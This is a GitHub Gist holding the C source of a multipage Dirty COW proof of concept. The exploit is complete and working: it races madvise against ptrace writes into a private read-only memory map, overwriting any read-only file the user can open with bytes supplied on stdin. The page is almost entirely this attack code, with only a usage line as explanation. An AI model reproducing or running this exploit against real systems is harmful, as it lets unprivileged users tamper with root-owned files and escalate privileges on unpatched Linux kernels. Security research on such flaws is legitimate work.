Last active
November 14, 2021 21:07
-
-
Save chriscz/f1aca56cf15cfb7793db0141c15718cd to your computer and use it in GitHub Desktop.
Dirty COW PoC with multipage support
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Multipage COW PoC | |
*/ | |
#include <fcntl.h> | |
#include <pthread.h> | |
#include <string.h> | |
#include <stdio.h> | |
#include <stdint.h> | |
#include <sys/mman.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
#include <sys/wait.h> | |
#include <sys/ptrace.h> | |
#include <unistd.h> | |
#include <assert.h> | |
#include <stdlib.h> | |
#include <signal.h> | |
#include <sys/prctl.h> | |
/* definitions are likely arch dependent */ | |
#define WORDSIZE (sizeof(long)) | |
#define REPEAT 100 /* 100 */ | |
#define REPEAT_WORD 100 /* 100 */ | |
typedef long * word_p; | |
void *map; | |
int pagesize; | |
void handle_sigusr(int signal) { | |
/*printf("madvise done for!\n");*/ | |
exit(0); | |
} | |
void *madvise_race(void *arg) | |
{ | |
int mok = 0; | |
int endbyte = *((int*)arg); | |
// printf("strike @%d\n", endbyte); | |
for (;;) { | |
mok += madvise(map, endbyte, MADV_DONTNEED); | |
} | |
//printf("madvise errors? %s (%d)\n", (mok > 0) ? "Y" : "N", mok); | |
} | |
void resize(char **buffer, unsigned int *size, unsigned int newsize) { | |
*size = newsize; | |
*buffer = realloc(*buffer, sizeof(char) * *size); | |
if (*buffer == NULL) { | |
printf("buffer could not be resized\n"); | |
exit(1); | |
} | |
} | |
void spawn_for_page(pid_t *pid, int endbyte) | |
{ | |
*pid = fork(); | |
pthread_t pth; | |
struct sigaction sa; | |
if (*pid) { /* parent */ | |
waitpid(*pid, NULL, 0); | |
sleep(1); | |
} else { /* child */ | |
/* die if parent dies */ | |
prctl(PR_SET_PDEATHSIG, SIGKILL); | |
/* set up the signal handler */ | |
sa.sa_handler = &handle_sigusr; | |
if (sigaction(SIGUSR1, &sa, NULL) < 0) { | |
perror("Could not register a signal handler!"); | |
} | |
pthread_create(&pth, NULL, madvise_race, &endbyte); | |
ptrace(PTRACE_TRACEME); | |
kill(getpid(), SIGSTOP); | |
pthread_join(pth, NULL); | |
exit(0); | |
} | |
} | |
int main(int argc, char *argv[]) | |
{ | |
int f; | |
pid_t pid; | |
struct stat st; | |
if (argc < 2) { | |
printf("too few arguments\n usage: ./mucow dest < payload\n"); | |
return 1; | |
} | |
/* constants */ | |
pagesize = getpagesize(); | |
/* read in the content */ | |
unsigned int size = 1; | |
unsigned int n_read = 0; | |
unsigned int n_pos = 0; | |
char *buffer; | |
buffer = malloc(size * sizeof(char)); | |
while ((n_read = read(STDIN_FILENO, buffer+n_pos, (size - n_pos))) > 0) { | |
n_pos += n_read; | |
/* ensure space */ | |
if (n_pos == size) resize(&buffer, &size, size*2); | |
} | |
printf("read %d bytes from stdin\n", n_pos); | |
/* ensure that the buffer is word alligned */ | |
int extra = WORDSIZE - (n_pos % WORDSIZE); | |
resize(&buffer, &size, n_pos + extra); | |
while (extra--) buffer[size - extra - 1] = '\0'; | |
f = open(argv[1], O_RDONLY); | |
fstat(f, &st); | |
/* open memory map, with padding */ | |
size_t mmapsize = st.st_size + (WORDSIZE - (st.st_size % WORDSIZE)); | |
map = mmap(NULL, | |
mmapsize, | |
PROT_READ, MAP_PRIVATE, f, 0); | |
/* sanity checks */ | |
assert(size % WORDSIZE == 0); | |
//assert(size < getpagesize()); | |
assert(size <= mmapsize); | |
/* parent code */ | |
int i, j, k, ec; | |
int L = n_pos; | |
int page = 0; | |
int next; | |
for (i = 0; i < REPEAT; i++) { // copy in word-sized strides | |
printf("repitition: %d/%d\n", i, REPEAT); | |
page = 0; | |
for (j = 0; j < L; j += WORDSIZE) { // copy in word-sized strides | |
if (j/pagesize >= page) { | |
page++; | |
kill(pid, SIGUSR1); | |
next = pagesize*page; | |
next = next < mmapsize? next: mmapsize; | |
spawn_for_page(&pid, next); | |
} | |
for (k = 0; k < REPEAT_WORD; k++) { // repeat for each word | |
ec += ptrace(PTRACE_POKETEXT, pid, | |
map + j, | |
*((word_p) (buffer + j))); | |
} | |
} | |
} | |
kill(pid, SIGUSR1); | |
printf("ptrace errors? %s (%d)\n", (ec > 0) ? "Y" : "N", ec); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment